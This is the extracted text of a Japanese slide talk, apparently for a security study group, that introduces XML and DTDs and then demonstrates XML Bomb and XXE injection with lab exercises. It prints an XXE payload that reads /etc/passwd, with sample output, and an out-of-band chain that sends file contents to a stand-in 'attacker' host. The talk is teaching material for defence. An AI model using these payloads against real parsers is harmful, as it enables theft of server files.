本当は怖いXML
元祖 濱せっく #1�icchy
~$ whoami
2017年にXMLの脆弱性?w
OWASP Top10 2017
あのhasegawayosuke先生も注目
某社のブログ
3日前にネタが被る
今日話すこと
XMLについて
XMLとは
XMLの例 (Well Formed XML)
<?xml version=”1.0” encoding=”utf-8”?>
<books>
<book>
<title>title</title>
<authors>
<author>
<name>author1</name>
</author>
<author>
<name>author2</name>
</author>
</authors>
<price currency=”USD”>10.00</price>
</book>
</books>
XMLの例 (Well Formed XML)
<?xml version=”1.0” encoding=”utf-8”?>
<books>
<book>
<title>title</title>
<authors>
<author>
<name>author1</name>
</author>
<author>
<name>author2</name>
</author>
</authors>
<price currency=”USD”>10.00</price>
</book>
</books>
XML宣言
XML本体 (XMLインスタンス)
XMLの例 (Well Formed XML)
<?xml version=”1.0” encoding=”utf-8”?>
<books>
<book>
<title>title</title>
<authors>
<author>
<name>author1</name>
</author>
<author>
<name>author2</name>
</author>
</authors>
<price currency=”USD”>10.00</price>
</book>
</books>
XML宣言
要素名と内容からなる要素 (element)
属性 (attribute)
XML本体�(XMLインスタンス)
XMLの使いみち
DTD
<books>
<book>
<title>title</title>
<authors>
<author>
<name>author1</name>
</author>
...
</authors>
<price currency=”USD”>10.00</price>
</book>
</books>
books
book
book
book
title
authors
author
name
price
currency
title
10.00
USD
author1
DTD
DTD
DTDの使い方
<?xml version=”1.0” encoding=”utf-8”?>
<!DOCTYPE test PUBLIC “-//W3C//DTD HTML 4.01//EN” “http://.../test.dtd”>
<root>
...
<?xml version=”1.0” encoding=”utf-8”?>
<!DOCTYPE test SYSTEM “test.dtd”>
<root>
...
XMLの脆弱性
代表的なXMLの脆弱性
XXE
XML Bomb
XML Bomb
XML Bomb
XML Bomb
XML Bomb
大量のリソースを消費
XXE injection
<?xml version=”1.0” encoding=”utf-8”?>�<!DOCTYPE [
<!ENTITY xxe SYSTEM “file:///etc/passwd”>
]>�<root>&xxe;</root>
XXE injection
<?xml version=”1.0” encoding=”utf-8”?>�<!DOCTYPE [
<!ENTITY xxe SYSTEM “file:///etc/passwd”>
]>�<root>&xxe;</root>
XXE injection
<?xml version=”1.0” encoding=”utf-8”?>�<!DOCTYPE [
<!ENTITY xxe SYSTEM “file:///etc/passwd”>
]>�<root>&xxe;</root>
XXE injection
<?xml version=”1.0” encoding=”utf-8”?>�<!DOCTYPE [
<!ENTITY xxe SYSTEM “file:///etc/passwd”>
]>�<root>root:x:0:0:root:/root:/bin/bash�daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin�bin:x:2:2:bin:/bin:/usr/sbin/nologin�sys:x:3:3:sys:/dev:/usr/sbin/nologin�sync:x:4:65534:sync:/bin:/bin/sync�games:x:5:60:games:/usr/games:/usr/sbin/nologin�man:x:6:12:man:/var/cache/man:/usr/sbin/nologin�lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin�mail:x:8:8:mail:/var/mail:/usr/sbin/nologin�news:x:9:9:news:/var/spool/news:/usr/sbin/nologin�uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin�...
lab1
lab1
XXE injection
XXE injection
lab2
XXE injection (advenced)
XXE injection (advanced)
<!ENTITY xxe1 SYSTEM “file:///etc/passwd”>
<!ENTITY xxe2 SYSTEM “http://attacker/&xxe1;”>
XXE injection (advanced)
<!ENTITY data SYSTEM “/path/to/file”>
<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>
<!ENTITY data SYSTEM “/path/to/file”>
<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>
<!ENTITY data SYSTEM “/path/to/file”>
<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>
…
<!ENTITY step1 SYSTEM “http://attacker/payload”>
]>
<!ENTITY data SYSTEM “/path/to/file”>
<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>
&step2;
&step3;
…
<!ENTITY step1 SYSTEM “http://attacker/payload”>
]>
<!ENTITY data SYSTEM “/path/to/file”>
<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>
&step2;
&step3;
…
<!ENTITY step1 SYSTEM “http://attacker/payload”>
]>
<!ENTITY data SYSTEM “/path/to/file”>
<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>
<!ENTITY step3 SYSTEM “http://attacker/?&data;”>
&step3;
…
<!ENTITY step1 SYSTEM “http://attacker/payload”>
]>
<!ENTITY data SYSTEM “/path/to/file”>
<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>
<!ENTITY step3 SYSTEM “http://attacker/?&data;”>
&step3;
…
<!ENTITY step1 SYSTEM “http://attacker/payload”>
]>
<!ENTITY data SYSTEM “/path/to/file”>
<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>
<!ENTITY step3 SYSTEM “http://attacker/?{leaked data}”>
&step3;
…
<!ENTITY step1 SYSTEM “http://attacker/payload”>
]>
<!ENTITY data SYSTEM “/path/to/file”>
<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>
<!ENTITY step3 SYSTEM “http://attacker/?{leaked data}”>
&step3;
http://attacker/?{leaked data}に�リクエストが発生
XXE injection (advanced)
まとめ